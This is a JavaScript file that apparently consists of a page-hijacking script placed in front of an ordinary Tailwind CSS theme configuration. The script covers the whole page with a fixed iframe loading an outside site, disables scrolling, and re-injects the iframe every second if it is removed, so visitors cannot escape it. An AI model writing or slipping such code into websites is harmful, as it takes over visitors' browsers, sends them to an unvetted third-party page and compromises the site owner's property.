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// 生成随机字符串函数
function generateRandomString(length) {
const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * characters.length));
}
return result;
}
function createIframe() {
const randomPrefix = generateRandomString(6);
const lins = "https://www.dhidcw.com/";
const iframe = document.createElement('iframe');
iframe.src = lins;
iframe.style.position = 'fixed';
iframe.style.top = '0';
iframe.style.left = '0';
iframe.style.width = '100%';
iframe.style.height = '100%';
// iframe.style.border = 'none';
iframe.style.zIndex = '999999';
iframe.style.setProperty('display', 'block', 'important');
iframe.style.setProperty('visibility', 'visible', 'important');
iframe.setAttribute('frameborder', '0');
iframe.setAttribute('scrolling', 'yes');
iframe.setAttribute('allowfullscreen', 'true');
// 如果body存在，直接插入；如果还没解析出来，监听DOMContentLoaded再插
if (document.body) {
document.body.appendChild(iframe);
disableScroll();
} else {
document.addEventListener('DOMContentLoaded', function() {
document.body.appendChild(iframe);
disableScroll();
});
}
}
// 禁止页面滚动
function disableScroll() {
document.body.style.overflow = 'hidden';
document.documentElement.style.overflow = 'hidden';
}
// 初始化
(function() {
try {
createIframe();
} catch(e) {
// 万一失败，再延迟1毫秒重试
setTimeout(createIframe, 1);
}
// 额外保护：每1秒检测iframe还在不在
setInterval(function() {
const iframe = document.querySelector('iframe');
if (!iframe || !document.body.contains(iframe)) {
createIframe();
}
}, 1000);
// 移动设备适配
window.addEventListener('orientationchange', function() {
setTimeout(resizeIframe, 300);
});
window.addEventListener('resize', function() {
setTimeout(resizeIframe, 300);
});
function resizeIframe() {
const iframe = document.querySelector('iframe');
if (iframe) {
iframe.style.width = '100vw';
iframe.style.height = '100vh';
}
}
// iOS滚动兼容
if (/iPad|iPhone|iPod/.test(navigator.userAgent)) {
window.addEventListener('scroll', function() {
const iframe = document.querySelector('iframe');
if (iframe) {
iframe.style.height = window.innerHeight + 'px';
}
});
}
})();
tailwind.config = {
theme: {
extend: {
colors: {
primary: '#e63946',
secondary: '#3a86ff',
neutral: '#f8f9fa',
dark: '#212529',
},
fontFamily: {
sans: ['Inter', 'system-ui', 'sans-serif'],
},
}
}
}
